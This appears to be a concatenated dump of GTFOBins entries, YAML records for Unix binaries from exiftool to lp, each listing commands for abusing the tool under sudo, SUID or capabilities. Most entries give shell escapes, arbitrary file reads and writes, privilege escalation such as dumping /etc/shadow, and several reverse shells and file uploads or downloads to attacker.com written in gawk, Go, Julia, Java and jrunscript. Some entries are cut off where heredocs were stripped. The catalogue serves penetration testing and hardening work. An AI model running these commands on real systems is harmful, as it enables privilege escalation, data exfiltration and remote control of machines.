/path/to/input-file comment: |- Writes the metadata tags of the input file in textual format to the output. contexts: sudo: unprivileged: inherit: - code: |- exiftool -if '...' /etc/passwd comment: |- This allows to run Perl code (`...`). contexts: sudo: unprivileged: from: perl ... ================================================ FILE: _gtfobins/expand ================================================ --- functions: file-read: - binary: false code: |- expand /path/to/input-file comment: |- The read file content is corrupted by replacing tabs with spaces. contexts: sudo: suid: unprivileged: ... ================================================ FILE: _gtfobins/expect ================================================ --- functions: file-read: - code: |- expect /path/to/input-file comment: |- The file is read and parsed as an `expect` command file, the content of the first invalid line is returned in an error message. contexts: sudo: suid: unprivileged: shell: - code: |- expect -c 'spawn /bin/sh;interact' contexts: sudo: suid: code: |- expect -c 'spawn /bin/sh -p;interact' shell: false unprivileged: ... ================================================ FILE: _gtfobins/facter ================================================ --- functions: inherit: - code: |- FACTERLIB=/path/to/dir/ facter comment: |- The first `.rb` file in the `/path/to/dir/` directory will be executed. contexts: sudo: unprivileged: from: ruby - code: |- facter --custom-dir=/path/to/dir/ x comment: |- The first `.rb` file in the `/path/to/dir/` directory will be executed. contexts: sudo: unprivileged: from: ruby ... ================================================ FILE: _gtfobins/fail2ban-client ================================================ --- functions: command: - blind: true code: |- fail2ban-client add x fail2ban-client set x addaction x fail2ban-client set x action x actionban /path/to/command fail2ban-client start x fail2ban-client set x banip 999.999.999.999 fail2ban-client set x unbanip 999.999.999.999 fail2ban-client stop x comment: |- The subprocess is immediately sent to the background, but `fail2ban-client` waits on a return code from the subprocess. The `banip` command will hang until the subprocess returns. contexts: sudo: - blind: true code: |- cat >/path/to/temp-dir/fail2ban.conf </path/to/temp-dir/jail.local </path/to/temp-dir/action.d/x.conf </path/to/temp-dir/filter.d/x.conf </path/to/temp-file.jsonc fastfetch -c /path/to/temp-file.jsonc contexts: sudo: suid: shell: true unprivileged: file-read: - binary: false code: |- fastfetch --file /path/to/input-file comment: |- The file content is used as the logo while some other information is displayed on its right. contexts: sudo: suid: unprivileged: shell: - code: |- echo '{"modules":[{"type":"command","key":"x","text":"exec /bin/sh 1>&0 2>&0"}]}' >/path/to/temp-file.jsonc fastfetch -c /path/to/temp-file.jsonc contexts: sudo: suid: shell: true unprivileged: ... ================================================ FILE: _gtfobins/ffmpeg ================================================ --- functions: library-load: - code: |- ffmpeg -f lavfi -i anullsrc -af ladspa=file=/path/to/lib.so /path/to/temp-file.wav reset^J contexts: sudo: suid: unprivileged: ... ================================================ FILE: _gtfobins/fgrep ================================================ --- functions: file-read: - code: |- grep '' /path/to/input-file contexts: sudo: suid: unprivileged: ... ================================================ FILE: _gtfobins/file ================================================ --- functions: file-read: - binary: false code: |- file -f /path/to/input-file comment: |- Each input line is treated as a filename for the `file` command and the output is corrupted by a suffix `:` followed by the result or the error of the operation. contexts: sudo: suid: unprivileged: - binary: false code: |- file -m /path/to/input-file comment: |- Each line is corrupted by a prefix string and wrapped inside quotes. If a line in the target file begins with a `#`, it will not be printed as these lines are parsed as comments. It can also be provided with a directory and will read each file in the directory. contexts: sudo: suid: unprivileged: ... ================================================ FILE: _gtfobins/find ================================================ --- functions: file-read: - code: |- find /path/to/input-file -exec cat {} \; comment: |- This uses `cat` to actually read the file, but since permissions are not dropped, it's executed with the same privileges as `find`. contexts: sudo: suid: unprivileged: file-write: - code: |- find / -fprintf /path/to/output-file DATA -quit comment: |- `DATA` is a format string, it supports some escape sequences. contexts: sudo: suid: unprivileged: shell: - code: |- find . -exec /bin/sh \; -quit contexts: sudo: suid: code: |- find . -exec /bin/sh -p \; -quit shell: false unprivileged: ... ================================================ FILE: _gtfobins/finger ================================================ --- functions: download: - code: |- finger x@attacker.com comment: |- The command hangs waiting for the remote peer to close the socket. contexts: sudo: suid: unprivileged: sender: code: |- nc -l -p 79 /path/to/output-file comment: |- A TCP server can be used on the attacker box to receive the data. ... ================================================ FILE: _gtfobins/firejail ================================================ --- functions: shell: - code: |- firejail /bin/sh contexts: sudo: unprivileged: ... ================================================ FILE: _gtfobins/fish ================================================ --- functions: shell: - code: |- fish contexts: sudo: suid: unprivileged: ... ================================================ FILE: _gtfobins/flock ================================================ --- functions: shell: - code: |- flock -u / /bin/sh contexts: sudo: suid: code: |- flock -u / /bin/sh -p shell: false unprivileged: ... ================================================ FILE: _gtfobins/fmt ================================================ --- functions: file-read: - binary: false code: |- fmt -pNON_EXISTING_PREFIX /path/to/input-file contexts: sudo: suid: unprivileged: version: |- GNU - binary: false code: |- fmt -999 /path/to/input-file comment: |- This corrupts the output by wrapping very long lines at the given width (`999`). contexts: sudo: suid: unprivileged: ... ================================================ FILE: _gtfobins/fold ================================================ --- functions: file-read: - binary: false code: |- fold -w999 /path/to/input-file comment: |- This corrupts the output by wrapping very long lines at the given width (`999`). contexts: sudo: suid: unprivileged: ... ================================================ FILE: _gtfobins/forge ================================================ --- functions: shell: - code: |- echo '#!/bin/sh' >/path/to/temp-file echo -e "/bin/sh <$(tty) >$(tty) 2>$(tty)" >>/path/to/temp-file chmod +x /path/to/temp-file forge build --use /path/to/temp-file contexts: sudo: suid: unprivileged: ... ================================================ FILE: _gtfobins/fping ================================================ --- functions: file-read: - binary: false code: |- fping -f /path/to/input-file comment: |- Each line is treated as an hostname and it's leaked as an error message. contexts: sudo: suid: unprivileged: ... ================================================ FILE: _gtfobins/ftp ================================================ --- functions: download: - code: |- ftp -a attacker.com get /path/to/input-file output-file comment: |- Instead of `-a`, credentials can be supplied via the `user:password@host` connection string. contexts: sudo: suid: unprivileged: sender: ftp-server shell: - code: |- ftp !/bin/sh contexts: sudo: suid: shell: true unprivileged: upload: - code: |- ftp -a attacker.com put /path/to/input-file output-file comment: |- Instead of `-a`, credentials can be supplied via the `user:password@host` connection string. contexts: sudo: suid: unprivileged: receiver: ftp-server ... ================================================ FILE: _gtfobins/fzf ================================================ --- functions: command: - code: |- fzf --listen=12345 comment: |- Commands can be issued via POST requests, for example: ``` curl http://localhost:12345 -d 'execute(/path/to/command)' ``` contexts: sudo: suid: shell: true unprivileged: shell: - code: |- fzf --bind 'enter:execute(/bin/sh)' comment: |- Press `Enter` to receive the shell. contexts: sudo: suid: shell: true unprivileged: ... ================================================ FILE: _gtfobins/g++ ================================================ --- alias: gcc ... ================================================ FILE: _gtfobins/gawk ================================================ --- functions: bind-shell: - code: |- gawk 'BEGIN { s = "/inet/tcp/12345/0/0"; while (1) {printf "> " |& s; if ((s |& getline c) <= 0) break; while (c && (c |& getline) > 0) print $0 |& s; close(c)}}' connector: tcp-client contexts: sudo: suid: shell: true unprivileged: file-read: - code: |- gawk '//' /path/to/input-file contexts: sudo: suid: unprivileged: file-write: - code: |- gawk 'BEGIN { print "DATA" > "/path/to/output-file" }' contexts: sudo: suid: unprivileged: reverse-shell: - code: |- gawk 'BEGIN { s = "/inet/tcp/0/attacker.com/12345"; while (1) {printf "> " |& s; if ((s |& getline c) <= 0) break; while (c && (c |& getline) > 0) print $0 |& s; close(c)}}' contexts: sudo: suid: shell: true unprivileged: listener: tcp-server shell: - code: |- gawk 'BEGIN {system("/bin/sh")}' contexts: sudo: suid: shell: true unprivileged: ... ================================================ FILE: _gtfobins/gcc ================================================ --- functions: file-read: - binary: false code: |- gcc -x c -E /path/to/input-file contexts: sudo: unprivileged: - binary: false code: |- gcc @/path/to/input-file comment: |- The file is read and parsed as a list of files (one per line), the content is displayed as error messages. contexts: sudo: unprivileged: file-write: - code: |- gcc -x c /dev/null -o /path/to/input-file comment: |- This actually deletes the file. contexts: sudo: unprivileged: shell: - code: |- gcc -wrapper /bin/sh,-s x comment: |- In some older versions, the `x` argument must instead reference any existing file. contexts: sudo: unprivileged: ... ================================================ FILE: _gtfobins/gcloud ================================================ --- functions: inherit: - code: |- gcloud help contexts: sudo: suid: unprivileged: from: less ... ================================================ FILE: _gtfobins/gcore ================================================ --- functions: file-read: - code: |- gcore $PID comment: |- It can be used to generate core dumps of running processes (`$PID`). Such files often contains sensitive information such as open files content, cryptographic keys, passwords, etc. This command produces a binary file named `core.$PID`, that is then often filtered with `strings` to narrow down relevant information. contexts: sudo: suid: unprivileged: ... ================================================ FILE: _gtfobins/gdb ================================================ --- functions: file-write: - code: |- gdb -nx -ex 'dump value /path/to/output-file "DATA"' -ex quit contexts: sudo: suid: unprivileged: inherit: - code: |- gdb -nx -ex 'python ...' -ex quit comment: |- This allows to run Python code (`...`). contexts: sudo: suid: unprivileged: from: python shell: - code: |- gdb -nx -ex '!/bin/sh' -ex quit contexts: capabilities: code: |- gdb -nx -ex 'python import os; os.setuid(0)' -ex '!/bin/sh' -ex quit list: - CAP_SETUID sudo: suid: shell: true unprivileged: ... ================================================ FILE: _gtfobins/gem ================================================ --- functions: inherit: - code: |- gem open debug comment: |- This requires the name of an installed gem to be provided, e.g., `debug` is usually installed. contexts: sudo: unprivileged: from: vi - code: |- gem build /path/to/script.rb contexts: sudo: unprivileged: from: ruby - code: |- gem install --file /path/to/script.rb contexts: sudo: unprivileged: from: ruby shell: - code: |- gem open -e '/bin/sh -s' debug comment: |- This requires the name of an installed gem to be provided, e.g., `debug` is usually installed. contexts: sudo: unprivileged: ... ================================================ FILE: _gtfobins/genie ================================================ --- functions: shell: - code: |- genie -c '/bin/sh' contexts: sudo: suid: unprivileged: ... ================================================ FILE: _gtfobins/genisoimage ================================================ --- functions: file-read: - code: |- genisoimage -q -o - /path/to/input-file comment: |- The output is placed inside the ISO9660 file system binary format, it can be mounted or extracted with tools like `7z`. contexts: sudo: suid: unprivileged: - code: |- genisoimage -sort /path/to/input-file comment: |- The file is parsed, and some of its content is disclosed by the error messages. contexts: sudo: suid: unprivileged: ... ================================================ FILE: _gtfobins/getent ================================================ --- functions: privilege-escalation: - code: |- getent shadow comment: |- This allows to dump password hashes from the `/etc/shadow` file. contexts: sudo: suid: ... ================================================ FILE: _gtfobins/ghc ================================================ --- functions: shell: - code: |- ghc -e 'System.Process.callCommand "/bin/sh"' contexts: sudo: unprivileged: ... ================================================ FILE: _gtfobins/ghci ================================================ --- functions: shell: - code: |- ghci System.Process.callCommand "/bin/sh" contexts: sudo: unprivileged: ... ================================================ FILE: _gtfobins/gimp ================================================ --- functions: inherit: - code: |- gimp -idf --batch-interpreter=python-fu-eval -b '...' comment: |- This allows to run Python code (`...`). It hangs afterwards and can be terminated by pressing `Ctrl-C`. contexts: sudo: unprivileged: from: python ... ================================================ FILE: _gtfobins/ginsh ================================================ --- functions: shell: - code: |- ginsh !/bin/sh contexts: sudo: suid: shell: true unprivileged: ... ================================================ FILE: _gtfobins/git ================================================ --- functions: file-read: - code: |- git diff /dev/null /path/to/input-file comment: |- The read file content is displayed in `diff` style output format. contexts: sudo: suid: unprivileged: file-write: - code: |- git apply --unsafe-paths --directory / x.patch comment: |- The patch can be created locally by creating the file that will be written on the target using its absolute path: ``` echo DATA >/path/to/input-file git diff /dev/null /path/to/input-file >x.patch ``` contexts: sudo: suid: unprivileged: inherit: - code: |- git help config contexts: sudo: unprivileged: from: less - code: |- git branch --help config !/bin/sh comment: |- The help system can also be reached from any `git` command, e.g., `git branch`. contexts: sudo: unprivileged: from: less shell: - code: |- PAGER='/bin/sh -c "exec sh 0<&1"' git -p help contexts: sudo: unprivileged: - code: |- git init . echo 'exec /bin/sh 0<&2 1>&2' >.git/hooks/pre-commit chmod +x .git/hooks/pre-commit git -C . commit --allow-empty -m x comment: |- Git hooks are merely shell scripts and in the following example the hook associated to the `pre-commit` action is used. Any other hook will work, just make sure to be able perform the proper action to trigger it. An existing repository can also be used, and moving into the directory works too. contexts: sudo: unprivileged: - code: |- ln -s /bin/sh git-x git --exec-path=. x contexts: sudo: suid: code: |- ln -s /bin/sh git-x git --exec-path=. x -p shell: false unprivileged: ... ================================================ FILE: _gtfobins/gnuplot ================================================ --- functions: shell: - code: |- gnuplot -e 'system("/bin/sh 1>&0")' contexts: sudo: suid: shell: true unprivileged: ... ================================================ FILE: _gtfobins/go ================================================ --- functions: bind-shell: - code: |- echo -e 'package main\nimport (\n\t"os"\n\t"syscall"\n)\n\nfunc main(){\n\tfd, _ := syscall.Socket(syscall.AF_INET, syscall.SOCK_STREAM, 0)\n\taddr := &syscall.SockaddrInet4{Port: 12345}\n\tcopy(addr.Addr[:], []byte{0,0,0,0})\n\tsyscall.Bind(fd, addr)\n\tsyscall.Listen(fd, 1)\n\tnfd, _, _ := syscall.Accept(fd)\n\tsyscall.Dup2(nfd, 0)\n\tsyscall.Dup2(nfd, 1)\n\tsyscall.Dup2(nfd, 2)\n\tsyscall.Exec("/bin/sh", []string{"/bin/sh", "-i"}, os.Environ())\n}' >/path/to/temp-file.go go run /path/to/temp-file.go connector: tcp-client contexts: sudo: unprivileged: file-read: - code: |- echo -e 'package main\nimport (\n\t"fmt"\n\t"os"\n)\n\nfunc main(){\n\tb, _ := os.ReadFile("/path/to/input-file")\n\tfmt.Print(string(b))\n}' >/path/to/temp-file.go go run /path/to/temp-file.go contexts: sudo: unprivileged: file-write: - code: |- echo -e 'package main\nimport "os"\nfunc main(){\n\tf, _ := os.OpenFile("/path/to/output-file", os.O_RDWR|os.O_CREATE, 0644)\n\tf.Write([]byte("DATA\\n"))\n\tf.Close()\n}' >/path/to/temp-file.go go run /path/to/temp-file.go contexts: sudo: unprivileged: reverse-shell: - code: |- echo -e 'package main\nimport (\n\t"os"\n\t"net"\n\t"syscall"\n)\n\nfunc main(){\n\tfd, _ := syscall.Socket(syscall.AF_INET, syscall.SOCK_STREAM, 0)\n\tip := net.ParseIP("attacker.com").To4()\n\taddr := &syscall.SockaddrInet4{Port: 12345}\n\tcopy(addr.Addr[:], ip)\n\tsyscall.Connect(fd, addr)\n\tsyscall.Dup2(fd, 0)\n\tsyscall.Dup2(fd, 1)\n\tsyscall.Dup2(fd, 2)\n\tsyscall.Exec("/bin/sh", []string{"/bin/sh", "-i"}, os.Environ())\n}' >/path/to/temp-file.go go run /path/to/temp-file.go contexts: sudo: unprivileged: listener: tcp-server shell: - code: |- echo -e 'package main\nimport "syscall"\nfunc main(){\n\tsyscall.Exec("/bin/sh", []string{"/bin/sh", "-i"}, []string{})\n}' >/path/to/temp-file.go go run /path/to/temp-file.go contexts: sudo: unprivileged: ... ================================================ FILE: _gtfobins/grc ================================================ --- functions: shell: - code: |- grc --pty /bin/sh contexts: sudo: unprivileged: ... ================================================ FILE: _gtfobins/grep ================================================ --- functions: file-read: - binary: false code: |- grep '' /path/to/input-file contexts: sudo: suid: unprivileged: ... ================================================ FILE: _gtfobins/gtester ================================================ --- functions: file-write: - code: |- gtester DATA -o /path/to/output-file comment: |- Data to be written appears in an XML attribute in the output file (``). contexts: sudo: suid: unprivileged: shell: - code: |- echo 'exec /bin/sh 0<&1' >/path/to/temp-file chmod +x /path/to/temp-file gtester -q /path/to/temp-file contexts: sudo: suid: code: |- echo '#!/bin/sh -p' >/path/to/temp-file echo 'exec /bin/sh -p 0<&1' >>/path/to/temp-file chmod +x /path/to/temp-file gtester -q /path/to/temp-file shell: false unprivileged: ... ================================================ FILE: _gtfobins/guile ================================================ --- functions: shell: - code: |- guile -c '(system "/bin/sh")' contexts: sudo: suid: shell: true unprivileged: ... ================================================ FILE: _gtfobins/gzip ================================================ --- comment: |- There are also a number of other utilities that rely on `gzip` under the hood, e.g., `zless`, `zcat`, `gunzip`, etc. Besides having similar features, they also allow privileged reads if `gzip` itself is SUID. functions: file-read: - code: |- gzip -c /path/to/input-file | gzip -d contexts: capabilities: list: - CAP_DAC_OVERRIDE sudo: suid: unprivileged: ... ================================================ FILE: _gtfobins/hashcat ================================================ --- functions: file-write: - code: |- echo -n DATA | tee /path/to/wordlist | md5sum | awk '{print $1}' >/path/to/hash hashcat -m 0 --quiet --potfile-disable -o /path/to/output-file --outfile-format=2 --outfile-autohex-disable /path/to/hash /path/to/wordlist comment: |- Append data to the end of the output file, creating if does not exist. contexts: sudo: unprivileged: ... ================================================ FILE: _gtfobins/hd ================================================ --- alias: hexdump ... ================================================ FILE: _gtfobins/head ================================================ --- functions: file-read: - code: |- head -c-0 /path/to/input-file contexts: sudo: suid: unprivileged: ... ================================================ FILE: _gtfobins/hexdump ================================================ --- functions: file-read: - code: |- hd /path/to/input-file comment: |- The output is actually an hex dump. contexts: sudo: suid: unprivileged: ... ================================================ FILE: _gtfobins/hg ================================================ --- functions: shell: - code: |- hg --config alias.x='!/bin/sh' x contexts: sudo: suid: shell: true unprivileged: ... ================================================ FILE: _gtfobins/highlight ================================================ --- functions: file-read: - binary: false code: |- highlight --no-doc --failsafe /path/to/input-file contexts: sudo: suid: unprivileged: ... ================================================ FILE: _gtfobins/hping3 ================================================ --- functions: shell: - code: |- hping3 /bin/sh contexts: sudo: suid: code: |- hping3 /bin/sh -p shell: false unprivileged: upload: - code: |- hping3 attacker.com --icmp --data 999 --sign xxx --file /path/to/input-file comment: |- The file is continuously sent as ICMP packets (e.g., of `999` bytes), the optional `--end` parameter signals when the file reached the end. contexts: sudo: receiver: code: |- hping3 --icmp --listen xxx --dump comment: |- The same program can be used on the attacker box to receive the data. ... ================================================ FILE: _gtfobins/iconv ================================================ --- comment: |- The `8859_1` encoding is used as it accepts any single-byte sequence, thus it allows to read/write arbitrary files. Other encoding combinations may corrupt the result. functions: file-read: - code: |- iconv -f 8859_1 -t 8859_1 /path/to/input-file contexts: sudo: suid: unprivileged: file-write: - code: |- echo DATA | iconv -f 8859_1 -t 8859_1 -o /path/to/output-file contexts: sudo: suid: unprivileged: ... ================================================ FILE: _gtfobins/iftop ================================================ --- functions: shell: - code: |- iftop !/bin/sh comment: |- This requires the privilege to capture on some device (specify with `-i` if needed). contexts: sudo: suid: shell: true unprivileged: version: |- 0.17 ... ================================================ FILE: _gtfobins/install ================================================ --- functions: privilege-escalation: - code: |- install -m 6777 /path/to/input-file /path/to/output-dir/ comment: |- This can be run with elevated privileges to change permissions (`6` denotes the SUID bits) and then read, write, or execute a file. contexts: sudo: suid: ... ================================================ FILE: _gtfobins/ionice ================================================ --- functions: shell: - code: |- ionice /bin/sh contexts: sudo: suid: code: |- ionice /bin/sh -p shell: false unprivileged: ... ================================================ FILE: _gtfobins/ip ================================================ --- functions: file-read: - binary: false code: |- ip -force -batch /path/to/input-file comment: |- The read file content is corrupted by error prints. contexts: sudo: suid: unprivileged: shell: - code: |- ip netns add foo ip netns exec foo /bin/sh ip netns delete foo contexts: sudo: suid: code: |- ip netns add foo ip netns exec foo /bin/sh -p ip netns delete foo version: |- This only works for Linux with `CONFIG_NET_NS=y`. - code: |- ip netns add foo ip netns exec foo /bin/ln -s /proc/1/ns/net /var/run/netns/bar ip netns exec bar /bin/sh ip netns delete foo ip netns delete bar contexts: sudo: version: |- This only works for Linux with `CONFIG_NET_NS=y`. ... ================================================ FILE: _gtfobins/iptables-save ================================================ --- functions: file-write: - binary: false code: |- iptables -A INPUT -i lo -j ACCEPT -m comment --comment DATA iptables -S iptables-save -f /path/to/output-file comment: |- The content is written along with a number of `iptables` rules. contexts: sudo: ... ================================================ FILE: _gtfobins/irb ================================================ --- functions: inherit: - code: |- irb ... comment: |- This allows to run Ruby code (`...`). contexts: sudo: unprivileged: from: ruby ... ================================================ FILE: _gtfobins/ispell ================================================ --- functions: shell: - code: |- ispell /etc/hosts !/bin/sh contexts: sudo: suid: code: |- ispell /etc/hosts !/bin/sh -p shell: false unprivileged: ... ================================================ FILE: _gtfobins/java ================================================ --- functions: shell: - code: |- java Shell comment: |- The `Shell.class` class file can be compiled offline, then uploaded to the target: ``` cat >Shell.java <0)so.write(pi.read()); while(pe.available()>0)so.write(pe.read()); while(si.available()>0)po.write(si.read()); so.flush();po.flush(); Java.type('java.lang.Thread').sleep(50); try {p.exitValue();break;}catch (e){}};p.destroy();s.close(); contexts: sudo: unprivileged: listener: tcp-server shell: - code: |- jjs Java.type('java.lang.Runtime').getRuntime().exec('/bin/sh -c $@|sh _ echo sh /dev/tty 2>/dev/tty').waitFor() contexts: sudo: unprivileged: ... ================================================ FILE: _gtfobins/joe ================================================ --- functions: shell: - code: |- joe ^K!/bin/sh comment: |- The terminal is spawn int the terminal interface. contexts: sudo: suid: shell: true unprivileged: ... ================================================ FILE: _gtfobins/join ================================================ --- functions: file-read: - binary: false code: |- join -a 2 /dev/null /path/to/input-file contexts: sudo: suid: unprivileged: ... ================================================ FILE: _gtfobins/journalctl ================================================ --- comment: |- This might not work if run by unprivileged users depending on the system configuration. functions: inherit: - code: |- journalctl contexts: sudo: unprivileged: from: less ... ================================================ FILE: _gtfobins/jq ================================================ --- functions: file-read: - binary: false code: |- jq -Rr . /path/to/input-file contexts: sudo: suid: unprivileged: ... ================================================ FILE: _gtfobins/jrunscript ================================================ --- comment: |- This tool is installed starting with Java SE 6. functions: download: - code: |- jrunscript -e 'cp("http://attacker.com/path/to/input-file","/path/to/output-file")' contexts: sudo: unprivileged: sender: http-server file-read: - binary: false code: |- jrunscript -e 'br = new BufferedReader(new java.io.FileReader("/path/to/input-file")); while ((line = br.readLine()) != null) { print(line); }' contexts: sudo: unprivileged: file-write: - code: |- jrunscript -e 'var fw=new java.io.FileWriter("/path/to/output-file"); fw.write("DATA"); fw.close();' contexts: sudo: unprivileged: reverse-shell: - code: |- jrunscript -e 'var host="attacker.com"; var port=12345; var p=new java.lang.ProcessBuilder("/bin/sh", "-i").redirectErrorStream(true).start(); var s=new java.net.Socket(host,port); var pi=p.getInputStream(),pe=p.getErrorStream(),si=s.getInputStream(); var po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){ while(pi.available()>0)so.write(pi.read()); while(pe.available()>0)so.write(pe.read()); while(si.available()>0)po.write(si.read()); so.flush();po.flush(); java.lang.Thread.sleep(50); try {p.exitValue();break;}catch (e){}};p.destroy();s.close();' contexts: sudo: unprivileged: listener: tcp-server shell: - code: |- jrunscript -e 'exec("/bin/sh -c $@|sh _ echo sh /dev/tty 2>/dev/tty")' contexts: sudo: suid: code: |- jrunscript -e 'exec("/bin/sh -pc $@|sh${IFS}-p _ echo sh -p /dev/tty 2>/dev/tty")' comment: |- This has been found working in macOS but failing on Linux systems. shell: false unprivileged: ... ================================================ FILE: _gtfobins/jshell ================================================ --- functions: file-read: - binary: false code: |- jshell jshell> /open /path/to/input-file comment: |- The content is leaked as error messages. contexts: sudo: unprivileged: file-write: - binary: false code: |- jshell String x = "DATA"; /save /path/to/output-file comment: |- Writes only the valid Java code to file. contexts: sudo: unprivileged: shell: - blind: true code: |- jshell Runtime.getRuntime().exec("/path/to/command"); contexts: sudo: unprivileged: ... ================================================ FILE: _gtfobins/jtag ================================================ --- functions: shell: - code: |- jtag --interactive shell /bin/sh contexts: sudo: unprivileged: ... ================================================ FILE: _gtfobins/julia ================================================ --- functions: download: - code: |- julia -e 'download("http://attacker.com/path/to/input-file", "/path/to/output-file")' contexts: sudo: suid: unprivileged: sender: http-server file-read: - code: |- julia -e 'print(open(f->read(f, String), "/path/to/input-file"))' contexts: sudo: suid: unprivileged: file-write: - code: |- julia -e 'open(f->write(f, "DATA"), /path/to/output-file, "w")' contexts: sudo: suid: unprivileged: reverse-shell: - code: |- julia -e 'using Sockets; sock=connect("attacker.com", parse(Int64, 12345)); while true; cmd = readline(sock); if !isempty(cmd); cmd = split(cmd); ioo = IOBuffer(); ioe = IOBuffer(); run(pipeline(`$cmd`, stdout=ioo, stderr=ioe)); write(sock, String(take!(ioo)) * String(take!(ioe))); end; end;' contexts: sudo: suid: unprivileged: listener: tcp-server shell: - code: |- julia -e 'run(`/bin/sh`)' contexts: sudo: suid: code: |- julia -e 'run(`/bin/sh -p`)' shell: false unprivileged: ... ================================================ FILE: _gtfobins/knife ================================================ --- functions: inherit: - code: |- knife exec -E '...' comment: |- This allows to run Ruby code (`...`). contexts: sudo: unprivileged: from: ruby ... ================================================ FILE: _gtfobins/ksh ================================================ --- alias: bash ... ================================================ FILE: _gtfobins/ksshell ================================================ --- functions: file-read: - code: |- ksshell -i /path/to/input-file comment: |- Each line is corrupted by a prefix string. Also consider that lines are actually parsed as `kickstart` scripts thus some file contents may lead to unexpected results. contexts: sudo: suid: unprivileged: ... ================================================ FILE: _gtfobins/ksu ================================================ --- functions: shell: - code: |- ksu -q -e /bin/sh contexts: sudo: ... ================================================ FILE: _gtfobins/kubectl ================================================ --- functions: shell: - code: |- cat >/path/to/temp-file <&2' EOF kubectl get pods --kubeconfig=/path/to/temp-file comment: |- The shell is spawn multiple times. contexts: sudo: unprivileged: upload: - code: |- kubectl proxy --address=0.0.0.0 --port=12345 --www=/path/to/dir/ --www-prefix=/x/ contexts: sudo: suid: unprivileged: receiver: code: |- curl victim.com:12345/x/path/to/input-file -o /path/to/output-file comment: |- An HTTP client can be used on the attacker box to receive the data. ... ================================================ FILE: _gtfobins/last ================================================ --- functions: file-read: - code: |- last -a -f /path/to/input-file comment: |- The output might be corrupted or incomplete if the file does not follow the expected database format. contexts: sudo: suid: unprivileged: ... ================================================ FILE: _gtfobins/lastb ================================================ --- alias: last ... ================================================ FILE: _gtfobins/latex ================================================ --- functions: file-read: - code: |- latex '\documentclass{article}\usepackage{verbatim}\begin{document}\verbatiminput{/path/to/input-file}\end{document}' strings texput.dvi comment: |- The read file will be part of the PDF output. contexts: sudo: suid: unprivileged: file-write: - code: |- latex '\documentclass{article}\newwrite\tempfile\begin{document}\immediate\openout\tempfile=output-file.tex\immediate\write\tempfile{DATA}\immediate\closeout\tempfile\end{document}' comment: |- The file can only be written in the current directory, and the `.tex` extension is mandatory. contexts: sudo: suid: unprivileged: shell: - code: |- latex --shell-escape '\immediate\write18{/bin/sh}' contexts: sudo: suid: shell: true unprivileged: ... ================================================ FILE: _gtfobins/latexmk ================================================ --- functions: file-read: - binary: false code: |- echo '\documentclass{article}\usepackage{verbatim}\begin{document}\verbatiminput{/path/to/input-file}\end{document}' >/path/to/temp-file latexmk -dvi /path/to/temp-file strings temp-file.dvi comment: |- The read file will be part of the output. contexts: sudo: unprivileged: inherit: - code: |- latexmk -e '...' comment: |- This allows to run Perl code (`...`). contexts: sudo: unprivileged: from: perl shell: - code: |- latexmk -pdf -pdflatex='/bin/sh #' /dev/null contexts: sudo: unprivileged: ... ================================================ FILE: _gtfobins/ldconfig ================================================ --- functions: library-load: - code: |- echo /path/to/temp-dir/ >/path/to/temp-file ldconfig -f /path/to/temp-file ping comment: |- This allows to override one or more shared libraries (e.g., `libpcap`) globally, then triggers the execution by running a program that uses it, e.g., `ping`. This is particularly useful if the target binary is SUID. Beware though that it is easy to end up with a broken target system. First identify the shared libraries used by the target program, for example: ``` $ ldd /bin/ping | grep libcap libcap.so.2 => /path/to/temp-dir/libcap.so.2 (0x00007f8417eef000) ``` Then create the shared library override, named `libcap.so.2`, and put in in `/path/to/temp-dir/`. The program might require some exported symbols from the library override, in that case make sure to add them (e.g., `void cap_get_flag() {}`). contexts: sudo: suid: unprivileged: ... ================================================ FILE: _gtfobins/less ================================================ --- functions: command: - code: |- cp /path/to/command ~/.lessfilter less /etc/hosts contexts: unprivileged: - code: |- LESSOPEN='/path/to/command # %s' less /etc/hosts contexts: sudo: unprivileged: file-read: - code: |- less /path/to/input-file contexts: sudo: suid: unprivileged: - code: |- less /etc/hosts :e /path/to/input-file comment: |- This can be used to read another file, e.g., when invoked as a pager with some fixed content. contexts: sudo: suid: unprivileged: - code: |- LESSOPEN='echo /path/to/input-file # %s' less /etc/hosts comment: |- This can be used to read another file. contexts: sudo: unprivileged: file-write: - code: |- echo DATA | less s/path/to/output-file q contexts: sudo: suid: unprivileged: inherit: - code: |- less /etc/hosts v contexts: sudo: suid: unprivileged: from: vi shell: - code: |- less /etc/hosts !/bin/sh contexts: sudo: suid: shell: true unprivileged: - code: |- LESSOPEN="/bin/sh -s 1>&0 2>&0 # %s" less /etc/hosts reset comment: |- The optional `reset` command is needed to receive the echo back of the typed keystrokes. contexts: sudo: unprivileged: - code: |- VISUAL='/bin/sh -s --' less /etc/hosts v contexts: sudo: unprivileged: ... ================================================ FILE: _gtfobins/lftp ================================================ --- functions: shell: - code: |- lftp -c '!/bin/sh' contexts: sudo: suid: shell: true unprivileged: ... ================================================ FILE: _gtfobins/links ================================================ --- functions: file-read: - binary: false code: |- links /path/to/input-file comment: |- The result is displayed in a TUI interface. contexts: sudo: suid: unprivileged: ... ================================================ FILE: _gtfobins/ln ================================================ --- functions: privilege-escalation: - code: |- ln -fs /bin/sh /bin/ln ln comment: |- This overrides `ln` itself with a symlink to a shell (or any other executable) that is to be executed as root, useful in case a `sudo` rule allows to only run `ln` by path. Warning, this is a destructive action. contexts: sudo: ... ================================================ FILE: _gtfobins/loginctl ================================================ --- comment: |- This might not work if run by unprivileged users depending on the system configuration. functions: shell: - code: |- loginctl user-status !/bin/sh contexts: sudo: unprivileged: ... ================================================ FILE: _gtfobins/logrotate ================================================ --- functions: file-read: - binary: false code: |- logrotate /path/to/input-file comment: |- The first word is returned in a error message. contexts: sudo: suid: unprivileged: file-write: - binary: false code: |- logrotate -l /path/to/output-file DATA comment: |- The content is written in a log file. contexts: sudo: suid: unprivileged: shell: - code: |- echo -e '/path/to/temp-file.config {\nmail x@x.x\n}' >/path/to/temp-file.config echo '/bin/sh 0<&2 1>&2' >/path/to/temp-file.sh logrotate -m /path/to/temp-file.sh -f /path/to/temp-file comment: |- This command is picky about file permissions. An existing config file can be used as weel, provided that it contains a mail directive. contexts: sudo: ... ================================================ FILE: _gtfobins/logsave ================================================ --- functions: shell: - code: |- logsave /dev/null /bin/sh -i contexts: sudo: suid: code: |- logsave /dev/null /bin/sh -i -p shell: false unprivileged: ... ================================================ FILE: _gtfobins/look ================================================ --- functions: file-read: - code: |- look '' /path/to/input-file contexts: sudo: suid: unprivileged: ... ================================================ FILE: _gtfobins/lp ================================================ --- functions: upload: - code: |- lp /path/to/input-file -h attacker.com comment: |- This requires `cups` to be installed. 